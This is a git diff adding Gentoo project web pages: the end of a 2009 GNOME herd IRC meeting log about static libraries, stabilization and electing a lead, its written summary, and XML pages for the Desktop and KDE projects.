+<EvaSDK>	remi`: yes
+<mraudsepp>	it is bound to gtk+
+<mraudsepp>	look at $libdir/libgtk-x11-2.0.la
+<mraudsepp>	I don't think GNOME really relies on any libtool stuff
+<mraudsepp>	maybe only the things that need X11 stuff, like control-center and libbackground and such stuff
+<nirbheek>	And pygtk
+<nirbheek>	(stuff that links to python.so)
+<remi`>	mraudsepp: that's new, gtk's .la file didn't use to be that way
+<remi`>	clearly this file shows that gtk cannot be used for static linking
+<nirbheek>	Even I get that :p
+<nirbheek>	So, --disable-static has more powah behind it
+<nirbheek>	What's next?
+<mraudsepp>	remi`: well, you use pkg-config when static linking still
+<mraudsepp>	but who's crazy enough to static link all that
+<nirbheek>	mraudsepp, vmware folks maybe :p
+<mraudsepp>	it has any sense only when you are doing an embedded thing with only one GUI application possible to run and exist
+<nirbheek>	or chromium people
+<Ford_Prefect>	People we don't care about, in other words. :P
+<mraudsepp>	vmware folks can't really static link, they would need to do painful insurances of re-linking possibility requirement
+<nirbheek>	mraudsepp, they've shipped an internal gtk lib for centuries now
+<mraudsepp>	shared lib
+<mraudsepp>	ELF file
+<mraudsepp>	not an ar archive
+<nirbheek>	Not the default thing, but something else that's activated via env var
+<nirbheek>	Anyway, irrelevant
+<mraudsepp>	what was the topic, anyway?
+<EvaSDK>	anyway where were we ?
+<nirbheek>	link-level deps that are different from *DEPEND
+<nirbheek>	Which cause horrid breakages during things like libxcb and gnome-desktop
+<nirbheek>	the gnome-desktop stuff is especially bad since gnome-desktop-sharp needs to move with it
+*gionnico (n=gionnico@host110-127-dynamic.46-79-r.retail.telecomitalia.it) has quit: "Sto andando via"
+<Ford_Prefect>	That's because of upstream breaking ABI without soname bumping, right?
+<EvaSDK>	well that's bad because we don't really communicate with dotnet
+<nirbheek>	libxcb, yes, gnome-desktop, no
+<mraudsepp>	upstream bumps soname
+<mraudsepp>	libxcb did too, I bet
+<nirbheek>	mraudsepp, they just removed the .so file
+<mraudsepp>	problem there is that a library completely disappeared.
+<nirbheek>	But the breakage was the same
+<nirbheek>	Unrelated stuff had to be rebuilt
+<EvaSDK>	gunman got shooted down ?
+<mraudsepp>	not true
+<mraudsepp>	gnome-desktop is related stuff
+<mraudsepp>	all things using gnome-desktop get rebuild
+<mraudsepp>	or in the normal case, upgraded together with gnome-desktop with no extra rebuilds.
+<EvaSDK>	anyway, back to our point, --disable-static, discussed
+<EvaSDK>	now ?
+<remi`>	 --disable-static by default in the eclass, with a way to override it for only a few select packages
+<remi`>	agreed?
+<nirbheek>	I would say check configure for --disable-static support
+<nirbheek>	Then disable it
+<remi`>	sure, that's implementation detail
+<nirbheek>	Now, link-level deps
+<mraudsepp>	I would say we pass it manually.
+<nirbheek>	For every package?
+<mraudsepp>	no, only those that install static libraries
+<mraudsepp>	this is, well, duh, only libraries
+<mraudsepp>	not applications, which is two third of stuff
+<remi`>	mraudsepp: so yes, default in the eclass is to disable static
+<mraudsepp>	we already pass it for half of the libraries or more, add more, once all is done, we can convert all gnome2.eclass using stuff in one go
+<nirbheek>	No harm done for those
+<mraudsepp>	I really don't like eclass passing configure arguments at all
+<remi`>	mraudsepp: what about those that will need --enable-static, how will that work?
+<mraudsepp>	I got burnt with wxwindows.eclass when taking over
+<mraudsepp>	and all this USE=doc and USE=debug stuff problem is also from the eclass having passed configure arguments
+<remi`>	mraudsepp: what's your idea then? I'm missing something
+<nirbheek>	mraudsepp, the USE=debug stuff was just stupid
+<nirbheek>	USE=doc was reasonably, but didn't have a way to override
+<nirbheek>	I mean, it should atleast check for GTK_DOC_INIT
+<Ford_Prefect>	remi`, mraudsepp says let's add --disable-static to libraries' ebuilds
+<mraudsepp>	we already do for many library. We can later easily convert to eclass as appropriate or whatever
+<remi`>	mraudsepp: are you seriously proposing that we change every ebuild to add --disable-static ?
+<EvaSDK>	Ford_Prefect: we should walk all ebuilds we own because there's probably a good load that is still not specifying it
+<mraudsepp>	once we have GIT. Same for USE=debug fixing really
+<mraudsepp>	remi`: no?
+<remi`>	guys, really, I'm lost
+<nirbheek>	mraudsepp, USE=debug and doc could use more intelligence
+<mraudsepp>	remi`: not ALL ebuilds need --disable-static
+<EvaSDK>	I will sound annoying with this but: "are we really going to have to wait for git to do all of our stuff ?"
+<remi`>	nirbheek: off topic
+<mraudsepp>	remi`: only libraries need that don't have AM_DISABLE_STATIC in configure.ac
+<nirbheek>	remi`, no, that's what mraudsepp is saying -- that they have problems
+<remi`>	mraudsepp: that's probably a _lot_
+<mraudsepp>	remi`: no
+<remi`>	I have 882 .a files on my system...
+<nirbheek>	Yay, mraudsepp gave us a way to know where to enable --disable-static
+<nirbheek>	let's put that into the eclass
+<mraudsepp>	$ ls /usr/lib/libgnome*.a
+<mraudsepp>	/usr/lib/libgnome-2.a  /usr/lib/libgnomecanvas-2.a  /usr/lib/libgnomecups-1.0.a  /usr/lib/libgnomecupsui-1.0.a  /usr/lib/libgnome-desktop-2.a  /usr/lib/libgnomeui-2.a  /usr/lib/libgnome-window-settings.a
+<mraudsepp>	that's it.
+<mraudsepp>	that doesn't cover things not libgnome*
+<nirbheek>	I can't say because I have --disable-static in EXTRA_ECONF in make.conf
+<mraudsepp>	we can easily find the ten packages that need --disable-static
+<mraudsepp>	I can do it later, put me up an ACTION point for me on that in meetings.
+<nirbheek>	What I _can_ say is that it breaks nothing GNOME-ey
+<mraudsepp>	minutes*
+<EvaSDK>	speaking of which, x11 do install a lot of .a :)
+<Ford_Prefect>	find *lib* gnome-base/*lib* gnome-extra/*lib* -name metadata.xml | xargs grep gnome | wc -l
+<Ford_Prefect>	76
+<remi`>	gstreamer ships .a files, so does gdk, libglade, gtk-vnc ...
+<remi`>	EvaSDK: yeah, x-modular should probably have USE=static-libs
+<EvaSDK>	gstreamer is on the list of things to fix, but it has bigger maintainance problems right now
+<remi`>	hell, even _metacity_ ships .a files
+<mraudsepp>	please lets move on
+<EvaSDK>	right
+<mraudsepp>	I need to get work done and get to shop
+<nirbheek>	Alright
+<nirbheek>	Next up?
+<remi`>	so what's the plan => eclass ?
+<nirbheek>	remi`, I'll write an action plan of sorts, we'll discuss in next meeting
+<mraudsepp>	in the beginning we agreed its low priority
+<remi`>	ah ok
+<mraudsepp>	so propose a plan and we can see..
+<remi`>	fine by me, moving on :)
+<nirbheek>	2.26 stabilization
+<Ford_Prefect>	On must be so tired of being moved.
+<nirbheek>	There are things that need libsoup 2.26 (like webkit-gtk)
+<nirbheek>	We should begin testing and stabilizing core gnome libraries
+<mraudsepp>	libsoup can be stabilized earlier quite easily, just libproxy related stuff has open bugs
+<nirbheek>	Or less core ones like libgweather, and libsoup
+<nirbheek>	What does gnome-keyring depend on for stab?
+<nirbheek>	(excluding explicit DEPEND)
+<nirbheek>	(gnome-session?)
+<mraudsepp>	gnome-keyring, not so much. But if libsoup doesn't block webkit-gtk anymore, we can easily fix much earlier gnome-keyring to be just fine for webkit-gtk
+<mraudsepp>	gnome-keyring-2.26 is NOT a requirement for webkit-gtk
+<mraudsepp>	after we
+<mraudsepp>	a) patch an earlier version to have proper C++ guards
+<mraudsepp>	b) patch webkit-gtk to be fine with earlier versions
+<nirbheek>	Earlier versions of what?
+<mraudsepp>	fix libsoup-2.26 related bugs (libproxy) and I can make webkit-gtk happy with gnome-keyring-2.22
+<nirbheek>	Other stable apps?
+<nirbheek>	Which bugs are those?
+<mraudsepp>	circular deps is a big one for me.
+<nirbheek>	Ugh, difficult to fix
+<nirbheek>	http://bugs.gentoo.org/show_bug.cgi?id=269747
+<mraudsepp>	I don't want to see new circulars
+<EvaSDK>	this one is going to be hard to avoid
+<mraudsepp>	we already have users bitching around in random blog comments about how hard it is to install gentoo from scratch due to things like circulars
+<EvaSDK>	but I agree it's a blocker
+<mraudsepp>	I even saw something along those lines in Linus' blog comments..
+<nirbheek>	Hum
+<EvaSDK>	we known the drill, splitting this stuff up is the solution but it's putting more pressure on mainteners
+<mraudsepp>	well, not really that, but other random people
+<EvaSDK>	who cares about linus ?
+<DrEeevil>	linus does
+<nirbheek>	EvaSDK, no, it's about how far people bitch, and how many people read
+<nirbheek>	ANd linus doesn't care, btw
+<nirbheek>	he uses fedora
+<mraudsepp>	http://torvalds-family.blogspot.com/2009/05/memorial-day-bbq.html
+<mraudsepp>	we are famous
+<EvaSDK>	I bitch about other distros, but who cares ?
+<nirbheek>	That Randall might just be Randall Munroe :p
+<mraudsepp>	anyway, nevermind that
+<EvaSDK>	ahah the foo is more bleeding edge than foo, I don't buy this stuff...
+<DrEeevil>	it isn't
+<remi`>	topic ...
+<nirbheek>	Do you know how tough it is to get btrfs on ubuntu? <.<
+<mraudsepp>	I see circular deps on fresh installs bothering users so much they comment on blogs about it, it's telling.
+<EvaSDK>	focus :)
+<nirbheek>	We need to fix this circular dep
+<mraudsepp>	so fix that wrt libproxy and webkit-gtk security bug is fine
+<remi`>	nirbheek: dude, stop taking this off track, _you_ wanted the meeting in the first place :)
+<mraudsepp>	now back to overall GNOME-2.26...
+<nirbheek>	Can we get PDEPEND on gvfs in libgnome?
+<mraudsepp>	lets not discuss specific bugs in a meeting
+<EvaSDK>	isn't it the case already ?
+<mraudsepp>	comment on the bug
+<nirbheek>	EvaSDK, it's a RDEPEND
+<mraudsepp>	GNOME-2.26 stabilization. I hope someone can work on this...
+<EvaSDK>	anyway wrt to current state of gnome 2.26, check the tracker, there is nothing much left to do, a few bumps stalled because tests do not pass
+<mraudsepp>	I will be taking notes on the order I manage to upgrade things, and take notes on issues to cover in upgrade guide
+<EvaSDK>	and I won't start stabilizing without having filled upstreams bugs for all this stuff
+<nirbheek>	Oh, btw
+<nirbheek>	g-p-m tests don't pass because there's no g-p-m running :p
+<nirbheek>	We need to either start it locally in src_test
+<nirbheek>	or something
+<mraudsepp>	nirbheek: focus
+<nirbheek>	So next, what
+<mraudsepp>	or next time I refuse an impromptu meeting without agenda
+<nirbheek>	okay :p
+<mraudsepp>	we don't need to talk specific bugs that simply need fixes by one of us in a whole team meeting
+<nirbheek>	So what else is required of us team-wise?
+<mraudsepp>	what's on your agenda?
+<nirbheek>	Branding?
+<remi`>	(looks like we're done...)
+<mraudsepp>	we are not done
+<remi`>	nirbheek: what about it?
+<nirbheek>	remi`, we don't have any
+<mraudsepp>	we have at least team lead election
+<nirbheek>	Ah, yes, I vote to make mraudsepp lead till dang gets back
+<nirbheek>	or, we could not have a lead at all (like mozilla and python herds)
+<remi`>	nirbheek: let the man actually run for the job...
+<mraudsepp>	I think EvaSDK didn't want to run?
+<nirbheek>	Alright, I run too, and I vote for myself :p
+<remi`>	nirbheek: really, be serious for a minute
+<nirbheek>	Alright, whoever wants to run for lead, raise hand
+<mraudsepp>	I believe the serious choice is between me, EvaSDK and both
+*remi` doesn't want to run
+*nirbheek won't be taken seriously if he runs
+<remi`>	EvaSDK: what say you?
+*DrEeevil claims neutrality
+<Ford_Prefect>	nirbheek won't be taken seriously even if he does not run :P
+*EvaSDK don't really want to run
+<EvaSDK>	I spend too much time on gentoo stuff already
+<mraudsepp>	I'm fine with being that lead figurehead
+<mraudsepp>	but be afraid, I might actually shove tasks on you all ;d
+<remi`>	it's a done deal then
+<Ford_Prefect>	So we welcome our new Estonian overlord?
+<EvaSDK>	that wouldn't be as bad as what I'd do
+<EvaSDK>	:)
+<Ford_Prefect>	(not so new in my case :P)
+<nirbheek>	EvaSDK, the pedant lead
+<EvaSDK>	so ++ mraudsepp 
+<nirbheek>	++
+<EvaSDK>	nirbheek: I'm nitpicking so we keep a minimum QA level
+<EvaSDK>	I hate having to search for stuff on the web because it's so slow :)
+<EvaSDK>	so if my count is good, we're done on election
+<remi`>	next item ?
+<EvaSDK>	what's next ?
+<nirbheek>	welcoming mrpouet
+<Ford_Prefect>	mraudsepp, buys us all beer now?
+*You've invited mrpouet to ##gentoo-meetings (wolfe.freenode.net)
+*mrpouet (n=mrpouet@gentoo/developer/mrpouet) has joined ##gentoo-meetings
+<mrpouet>	moin
+<mrpouet>	:)
+<mraudsepp>	hi.
+<remi`>	mrpouet: hey, you just missed the meeting :p
+<mraudsepp>	mrpouet: welcome!
+<Ford_Prefect>	mrpouet, welcome!
+<mraudsepp>	he didn't miss it yet
+<nirbheek>	mrpouet, welcome!
+<mraudsepp>	our last meeting topic was welcoming him ;d
+<Ford_Prefect>	And now you have to fix circular dependencies forever because you missed it!
+<mraudsepp>	yeah!
+<nirbheek>	yesh.
+<nirbheek>	mrpouet, fix http://bugs.gentoo.org/show_bug.cgi?id=269747
+<Ford_Prefect>	And can mraudsepp and mrpouet please not have the same initials? :P
+<nirbheek>	Our uber-high priority bug
+<mraudsepp>	ACTION: Update project page with new member and new lead
+<nirbheek>	Agreed, do it
+<Ford_Prefect>	I saw let mrpouet do it. :)
+<mraudsepp>	nirbheek: this is just a standard thing to record action items for the minutes
+<mraudsepp>	nirbheek: you should use it.
+<Ford_Prefect>	So he knows where the page is. :)
+<nirbheek>	mraudsepp, alright
+<nirbheek>	Ford_Prefect, Yes, good experience with guidexml too
+<nirbheek>	ACTION: Buy bananas
+<mraudsepp>	I can update that stuff, I want to update the task items there too
+<Ford_Prefect>	Cool
+<mrpouet>	mraudsepp, thanks Ford_Prefect thanks :) (sorry i was busy but i'm here now)
+<mraudsepp>	regarding nickname
+<Ford_Prefect>	Hey, I was just kidding
+<mraudsepp>	sorry, I kind of want to be mraudsepp frmo office
+<mraudsepp>	from*
+<mraudsepp>	as I'm discussing day-job stuff over IRC too.
+<nirbheek>	mraudsepp, just be _mraudsepp :p
+<Ford_Prefect>	It's okay. All the confusion will help. ;)
+<mraudsepp>	and well, Mart Raudsepp is actually my real name, if you didn't know :)
+*DrEeevil wonders if MrAudsepp will ever become DrAudsepp ;)
+<nirbheek>	If he didn't know, he does now
+<nirbheek>	Hey, wait, steev is in gnome herd?
+<mrpouet>	yeah i'll have a look to this bug, but i need to test my gentoo services before :p (at least my email and my account)
+<mrpouet>	:)
+<mraudsepp>	now, the only topic we could conceivably still have that's important enough
+<mraudsepp>	is figuring out a good time for regular meetings
+<Ford_Prefect>	Same time, Tuesdays?
+<Ford_Prefect>	Since Mondays can be a little unpredictable at times
+<mraudsepp>	the time isn't good for me
+<nirbheek>	Bit early?
+<mraudsepp>	I haven't gotten done anything at work as this dragged on needlessly
+<Ford_Prefect>	1900 UTC?
+<mraudsepp>	17:00 UTC onwards is fine for me
+<mraudsepp>	it is ~16:15 UTC at the moment
+<Ford_Prefect>	1700+ is fine for me too
+<nirbheek>	mraudsepp, this was a preliminary meeting, hence time got wasted
+<nirbheek>	1700+ UTC every other week
+<nirbheek>	Tuesday
+<Ford_Prefect>	Oh yeah, eff, I was calculating by DST
+<mraudsepp>	Tuesdays, Wednesday and Thursday 17:00 UTC and later is fine for me
+<mraudsepp>	except on council meeting days
+<mraudsepp>	if re-elected, that is
+<Ford_Prefect>	What do the rest think?
+*nirbheek is fine
+<mraudsepp>	Wednesday is best, Tuesdays and Thursdays 17:00 UTC might be too early, playing table tennis often then.
+<nirbheek>	Ford_Prefect's time is a subset of mine, so if he's fine, so am I
+<nirbheek>	EvaSDK, remi` ?
+<mraudsepp>	but often getting home exactly 17:00 anyways then, so I guess nevermind that comment.
+<Ford_Prefect>	nirbheek, you forgot mrpouet :)
+<EvaSDK>	1700 UTC is my usual commiting time
+<EvaSDK>	so I'd rather avoid it
+<nirbheek>	Ford_Prefect, oh, right
+<mraudsepp>	1800 UTC then?
+<EvaSDK>	I spend too much time at work already
+<nirbheek>	EvaSDK, committing to GF or work? ;)
+<EvaSDK>	1800 UTC, I'm barely home, most likely still walking
+<EvaSDK>	nirbheek: commuting sorry
+<nirbheek>	1830 UTC will be _late_ for me
+<nirbheek>	midnight
+<nirbheek>	How about earlier in the day?
+<nirbheek>	Since dang isn't around, so we need to cope with Europe and Asia only
+*EvaSDK needs to go to the lab, back in 5 minutes
+<mraudsepp>	mrpouet: what time ranges would be suitable for you?
+*nirbheek goes to get some food, back in 10 mins
+<mrpouet>	mraudsepp, for me i can be connected all the days between 5h30 p.m and 11h p.m (GTM+2)
+<mrpouet>	(during the week)
+<mraudsepp>	local times, ok
+<mrpouet>	and i'm available all the times during the week end
+<mrpouet>	:)
+<nirbheek>	In other words, no life
+<mraudsepp>	so that's until 2100 UTC
+<mrpouet>	nirbheek, no hard geek
+<nirbheek>	mrpouet, synonymous 
+<mrpouet>	not the same thing :p
+<mrpouet>	nirbheek, indeed :D
+<nirbheek>	That means "same thing" :p
+<mraudsepp>	so I think we are mostly needing a suitable time from EvaSDK ;d
+<nirbheek>	remi`, hasn't said anything
+<EvaSDK>	so not on monday and friday evenings
+<mraudsepp>	tuesday you said gf evening before
+<EvaSDK>	uh yeah tuesday
+<EvaSDK>	not monday, monday is fine
+<mraudsepp>	monday quite fine for me too, a bit volatile for Ford_Prefect I understood, maybe comporisable?
+<remi`>	nirbheek: just pick a time :)
+<mraudsepp>	(Monday evening 17:00 UTC and later)
+<Ford_Prefect>	Should be fine.
+<remi`>	either I can make it, or I can't
+<nirbheek>	Can you kick?
+<nirbheek>	Because someone needs kicking on #-dev
+<remi`>	don't hold back meetings if I can't make it, I'm definitely not the most important person to have around these days
+<mraudsepp>	EvaSDK: anyway, day didn't seem so much of an issue. The time, as in at what clock was, if you commute at some point, and after that point nirbheek has midnight
+<Ford_Prefect>	He turns into a beast
+<Ford_Prefect>	A sleeping beast :)
+<EvaSDK>	can we close this now ?
+<EvaSDK>	nirbheek will write minutes and sum'up open topics
+<nirbheek>	Sure
+<EvaSDK>	we can always setup ical stuff later
+<nirbheek>	mmmm
+<nirbheek>	So, meeting is officially at an end
+<nirbheek>	You shall all be kicked now
+*nirbheek has kicked DrEeevil from ##gentoo-meetings: nirbheek
+*nirbheek has kicked EvaSDK from ##gentoo-meetings: Ford_Prefect leio mraudsepp mrpouet remi` tanderson Meeting over
+*nirbheek has kicked Ford_Prefect from ##gentoo-meetings:  Meeting over
+*nirbheek has kicked leio from ##gentoo-meetings:   Meeting over
+*leio (n=leio@gentoo/developer/leio) has joined ##gentoo-meetings
+*nirbheek has kicked mraudsepp from ##gentoo-meetings:    Meeting over
+*nirbheek has kicked mrpouet from ##gentoo-meetings:     Meeting over
+*nirbheek has kicked remi` from ##gentoo-meetings:      Meeting over
+*nirbheek has kicked tanderson from ##gentoo-meetings: Meeting over
+*You have been kicked from ##gentoo-meetings by nirbheek: Meeting over
+**** ENDING LOGGING AT Mon 2009
+
diff --git a/xml/htdocs/proj/en/desktop/gnome/meetings/2009/06-15.summary.txt b/xml/htdocs/proj/en/desktop/gnome/meetings/2009/06-15.summary.txt
new file mode 100644
index 00000000..70951381
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/gnome/meetings/2009/06-15.summary.txt
@@ -0,0 +1,121 @@
+Jun 15th, 2009 -- ##gentoo-meetings@FreeNode
+
+First GNOME herd meeting
+
+Attendance:
+
+* dang <-- away
+* EvaSDK <-- present
+* Ford_Prefect <-- present
+* leio (mraudsepp) <-- present
+* mrpouet <-- present (towards the end)
+* nirbheek <-- present
+* remi` <-- present
+
+------
+* Organising bugs
+  - Proper usage of bug keywords. assignment of bug priorities
+    + (update policy page to reflect this)
+  - Update bug wrangling guidelines for GNOME project
+    + Borrow from x11 guidelines
+  - A "maintenance page" in the gnome doc space
+    + Templated bugzie queries for different "levels" of bugs
+    + Keyword bugs, Blocker bugs, Tracker bugs, Enhancement bugs, etc.
+    + Will allow more visibility for bugs
+
+--> nirbheek will do this
+
+------
+* Removal of "GNOME" component from bugzie
+  - Depends on auto-assign decision
+
+--> Ford_Prefect will take care of this (infra side)
+
+------
+* GNOME eclass sucks
+  - http://bugs.gentoo.org/show_bug.cgi?id=262490 -- tracker bug
+  - USE=doc management is inconsistent, and unflexible
+    + It should atleast check for GTK_DOC_INIT before passing $(use_enable gtk-doc)
+    + USE=doc means rebuilding of api-docs right now, advantages seem to be uncertain
+
+--> dang was doing research
+
+    + Consensus was to use USE=doc for api-docs, and install user documentation
+      unconditionally
+  - eclass does lots of unneeded things right now gnome2_omf_fix for instance
+    + http://bugs.gentoo.org/show_bug.cgi?id=256379
+  - The eclass needs an overhaul. Low-priority, however.
+
+--> Low-priority, no owner -- free for all
+
+------
+* Static libraries
+  - Consensus was to only have static libs for glib and C++ bindings. And to add
+    it to the eclass as --disable-static for the rest (to be overriden on a
+    per-package basis).
+  - Anything that uses gtk+ will not work with static libs because gtk+ uses 
+    dynamic loading
+
+--> leio will find packages that need static libraries to NOT be built
+
+--> No global owner, probably entire herd.
+
+------
+* Bad link-level deps which have nothing to do with the *DEPEND
+    <EvaSDK> that's pkg-config being in a state of a limbo
+    <EvaSDK> some packages assume some behavior of pkgconfig that isn't true on all versions or distros
+    <EvaSDK> basically we're screwed from all sides with this
+
+--> No owner, low-priority, need scripts to track this stuff
+
+------
+* .la files
+
+  - Discussion:
+    <nirbheek> lafilefixer works wonderfully
+    <mraudsepp> I don't care ;d
+    <mraudsepp> it's not a solution.
+    <EvaSDK> lafilefixer is a hammer really
+    
+  - Consensus was:
+    <remi`> with the current state of things, we should keep .la files for now
+
+--> Postponed
+
+------
+* --as-needed QA
+  - Not a GNOME project, but affects us
+  - <mraudsepp> I have a plan for --as-needed QA, I need to write it up
+    [snip]
+    <mraudsepp> patch binutils to issue a warning when --as-needed actually drops a DT_NEEDED entry
+    <mraudsepp> catch with portage and issue a QA warning on that
+    <mraudsepp> then you can figure out what pkg-config file is stupid
+    <mraudsepp> and fix it upstream
+
+--> leio's project
+
+------
+* 2.26 stabilisation
+  - Things like libsoup are used by other packages, they need stabilization
+  - Example: http://bugs.gentoo.org/show_bug.cgi?id=271861
+  - Problem: libproxy circular deps -- http://bugs.gentoo.org/show_bug.cgi?id=269747
+    + Partly fixed by eva by putting gvfs in PDEPEND in libgnome
+
+--> mrpouet will take care of libproxy circular deps
+
+------
+* New lead till dang gets back (election)
+
+--> Mart Raudsepp (leio) is the new lead by default.
+
+------
+* Future meetings
+  - Timing: Monday evening 17:00 UTC and later
+  - Announcements: Unknown
+  - Venue: #gentoo-meetings needs to be revived/begun. Failing which, ##gentoo-meetings
+
+--> Probably nirbheek, or forced upon mrpouet
+
+------
+* Buy bananas
+  - wtf?
diff --git a/xml/htdocs/proj/en/desktop/index.xml b/xml/htdocs/proj/en/desktop/index.xml
new file mode 100644
index 00000000..cc31ee16
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/index.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+	<name>desktop</name>
+	<longname>Gentoo Desktop Project</longname>
+
+	<description>
+		The desktop project handles all desktop-related issues
+		of the Gentoo distribution, including science.
+	</description>
+
+	<longdescription>
+<p>The desktop project handles all desktop related issues of the Gentoo
+distribution, including science. This involves both researching the
+improvements needed for Gentoo's use as a desktop as managing all projects that
+handle desktop-related ebuilds.
+</p>
+	</longdescription>
+
+<extrachapter position="bottom">
+<title>Lead Elections</title>
+<section>
+<body>
+	<p>
+	If anyone wants to be lead, we can hold elections for a new lead. 
+	Discuss this further in either #gentoo-desktop or on the 
+	gentoo-desktop mailing list.
+	</p>
+
+	<p>
+	Any developers who consider themselves part of the desktop project are
+	welcome to participate in the election, but they can't just be part of the
+	project for the election. They need to create a subproject with accompanying
+	Web page for their herd and link to it from the top-level desktop index. Any
+	developers not listed as members on some project page in the desktop
+	hierarchy cannot vote.
+	</p>
+</body>
+</section>
+</extrachapter>
+
+<dev role="lead">dberkholz</dev>
+
+<subproject ref="/proj/en/desktop/accessibility/index.xml"/>
+<subproject ref="/proj/en/desktop/artwork/index.xml"/>
+<subproject ref="/proj/en/desktop/chromium/index.xml"/>
+<subproject ref="/proj/en/desktop/gnome/index.xml"/>
+<subproject ref="/proj/en/desktop/kde/index.xml"/>
+<subproject ref="/proj/en/desktop/xfce/index.xml"/>
+<subproject ref="/proj/en/desktop/research/index.xml"/>
+<subproject ref="/proj/en/desktop/wm/index.xml"/>
+<subproject ref="/proj/en/desktop/x/index.xml"/>
+<subproject ref="/proj/en/desktop/games/index.xml"/>
+<subproject ref="/proj/en/desktop/video/index.xml"/>
+<subproject ref="/proj/en/desktop/util/index.xml"/>
+<subproject ref="/proj/en/desktop/sound/index.xml"/>
+<subproject ref="/proj/en/desktop/rox/index.xml"/>
+<subproject ref="/proj/en/desktop/lxde/index.xml"/>
+<subproject ref="/proj/en/desktop/qt/index.xml"/>
+<subproject ref="/proj/en/desktop/enlightenment/index.xml"/>
+
+</project>
diff --git a/xml/htdocs/proj/en/desktop/kde/at/index.xml b/xml/htdocs/proj/en/desktop/kde/at/index.xml
new file mode 100644
index 00000000..b325cd3e
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/at/index.xml
@@ -0,0 +1,121 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/kde/at/index.xml,v 1.2 2010/06/07 22:41:18 tampakrap Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/desktop/kde/at/index.xml" lang="en">
+<title>KDE Herd Testers Project Team</title>
+
+<author title="Author">
+  <mail link="jmbsvicetto@gentoo.org">Jorge Vicetto</mail>
+</author>
+<author title="Author">
+  <mail link="genstef@gentoo.org">Stefan Schweizer</mail>
+</author>
+<author title="Contributor">
+  <mail link="keytoaster@gentoo.org">Tobias Heinlein</mail>
+</author>
+
+<abstract>
+The KDE HT Project is devoted to help the developers with testing packages,
+identifying issues and finding fixes.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2007-12-09</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<body>
+
+<p>
+As defined by <uri
+link="http://www.gentoo.org/proj/en/glep/glep-0041.html">GLEP 41</uri>, an HT is
+a trustworthy user who is able to help with testing packages, identifying issues
+and finding fixes.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>What you get</title>
+<section>
+<body>
+
+<p>
+All HTs receive a <c>/gentoo/contributor/${NAME}</c> IRC cloak, are added to
+the "Arch/Herd Tester" group on the <uri link="https://forums.gentoo.org/">
+Gentoo forums</uri>, get auto-voice in <c>#gentoo-kde</c>, are added to the
+<c>kde@gentoo.org</c> mail alias and are assigned <c>editbugs</c> privileges on
+the <uri link="https://bugs.gentoo.org/">Gentoo Bugzilla</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>What to do</title>
+<section>
+<body>
+
+<p>
+HTs usually test packages, provide guidance on bug reports, communicate with the
+KDE team through the team's IRC channel (<c>#gentoo-kde</c>) and mail to the
+<c>kde@gentoo.org</c> mail alias. HTs are also invited to help users on forums,
+mailing lists and IRC channels.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Requirements</title>
+<section>
+<body>
+
+<p>
+We expect people to do good testing, show good knowledge about Gentoo in general
+and to be active (taking into account RL constraints).
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Participating</title>
+<section>
+<body>
+
+<p>
+If you think your comments and patches submitted to Bugzilla and willingness to
+help other users on IRC, mailinglists and/or forums justifies HT status you can
+talk to the KDE herd. Users will also be invited to become HTs by members of the
+KDE herd that notice their work, abilities and desire to help the KDE herd.
+</p>
+
+<p>
+To become an HT, the user will have to complete the <uri
+link="http://www.gentoo.org/proj/en/devrel/quiz/ebuild-quiz.txt">ebuild
+quiz</uri> and have a review session with the AT lead (<mail
+link="hparker@gentoo.org">hparker</mail>).
+</p>
+
+<p>
+Interested users should read the <uri link="http://devmanual.gentoo.org/">Gentoo
+Development Guide/DevManual</uri> and the <uri
+link="http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml">Gentoo
+Developer Handbook</uri> and should work with the other members of the herd to
+address the questions on the quiz. The KDE HT lead will work closely with all
+HTs, helping them prepare for the quiz and the interview, and will coordinate
+their work on the herd.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/kde/index.xml b/xml/htdocs/proj/en/desktop/kde/index.xml
new file mode 100644
index 00000000..4abd96b8
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/index.xml
@@ -0,0 +1,422 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+
+<name>KDE</name>
+<longname>Gentoo KDE Project</longname>
+
+<date>2010-02-01</date>
+
+<author title="Author">
+  <mail link="caleb"/>
+</author>
+<author title="Author">
+  <mail link="deathwing00"/>
+</author>
+<author title="Author">
+  <mail link="philantrop"/>
+</author>
+<author title="Author">
+  <mail link="masterdriverz"/>
+</author>
+<author title="Author">
+  <mail link="jmbsvicetto"/>
+</author>
+<author title="Author">
+  <mail link="keytoaster"/>
+</author>
+<author title="Author">
+  <mail link="tanderson"/>
+</author>
+<author title="Author">
+  <mail link="scarabeus"/>
+</author>
+<author title="Author">
+  <mail link="yngwin"/>
+</author>
+<author title="Author">
+  <mail link="tampakrap"/>
+</author>
+<author title="Author">
+  <mail link="hwoarang"/>
+</author>
+<author title="Authon">
+  <mail link="abcd"/>
+</author>
+
+<description>
+The KDE project manages the KDE ebuilds within Gentoo.
+</description>
+
+<longdescription>
+
+<note>For support and installation instructions please refer to <uri
+link="#doc_chap4">Support and assistance Section</uri></note>
+
+<p>
